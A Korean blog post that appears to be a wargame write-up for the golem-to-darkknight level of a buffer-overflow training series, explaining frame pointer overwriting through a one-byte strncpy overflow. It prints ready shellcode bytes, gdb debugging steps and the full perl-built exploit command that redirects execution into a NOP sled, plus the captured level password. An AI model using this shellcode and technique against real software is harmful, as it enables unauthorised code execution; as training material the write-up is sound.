심심해서 하는 블로그 :: [버퍼 오버플로우] Bof 원정대 (golem -> darkknight)

1. 취약점


앞에 너무 크게 디이고 나서 코드가 짧아지니까 안심이 되는데 이번엔 strncpy를 사용했다.

그리고 힌트에 나와있는 FPO(Frame Pointer Overwriting).. 이번에는 이걸 공부를 하고 돌파해봐야겠다.


FPO(Frame Pointer Overwriting)

Return Address에 기존에 덮어 쓸 수 있었던 기존 문제와 달리 strncpy는 입력의 범위를 한정하는 API라서 Return Address에 덮어 쓸 수가 없다. 이와 같은 경우에 사용할 수 있는 기법인데 조건은 1바이트 오버플로우가 일어나야 하며 서브함수가 반드시 필요하다. 이 오버플로우의 결과로 SFP 값이 변화하게 된다.


정상적인 함수의 진행과정이다 esp 레지스터는 움직이면서 데이터를 읽고 쓰는 일을 수행하고

ebp 레지스터의 경우에는 고정적으로 움직이지 않는 스택의 기준점이 되는 역할을 수행한다.

함수의 에필로그 구간은 leave를 한 후에 ret을 수행하는 것으로 마무리한다 leave는 볼 일 다본 뒤에 SFP에서 읽은 내용을 기반으로 스택 포인터를 재조정한다.


그런데 leave를 하는 과정에서 SFP가 변조가 되어버리면 ebp는 원래 돌아가고자 하는 곳이 아닌 완전 다른 곳으로 이동하게 된다. 그리고 나서 ret가 수행하게 되면 스택의 최상위에 있는 것을 pop해서 eip에 집어 넣는데 공격자는 이 때 eip를 쉘코드로 가리키게 하면서 원하는 공격을 수행하게 된다.


2. Exploit

0. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


1. bash2를 사용하고 파일을 옮긴 후 디버깅을 한다.

$ bash2

$ cp ./darkknight.c /tmp/darkknight.c && cd /tmp

$ gcc -g -o ./darkknight.c

$ gdb -q ./darkknight


2. 중단점은 problum_child()함수가 strncpy()를 끝낸 시점으로 한다.

(gdb) b *problum_child+21

(gdb) r `perl -e 'print "A"x41'` `perl -e 'print "\x90"x50, "B"x39'`

(gdb) x/50x $espF

(gdp) x/x $ebp


39byte 짜리 쉘코드를 쓰기에는 buffer의 사이즈가 작아서 argv[2]를 활용해서 공격하고자 한다.

(물론 쉘코드 작은 거 어디서 주어와서 쓰면 buffer 내에서도 볼 일 다볼수 있다.)


buffer의 시작 주소는 0xbffffa44, 이동 시킬 곳은 0xbfffc18


3. 고생했다.. 괴롭히자

$ cd ~

$ ./darkknight `perl -e 'print "\x18\xfc\xff\xbf"x10, "\x44"'` `perl -e 'print "\x90"x50, "\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`



6. 결과

   id :  darkknight   passwd : new attacker

   새로운 기법을 체험할 수 있는 좋은 기회였다..ㅠㅠ 

 

,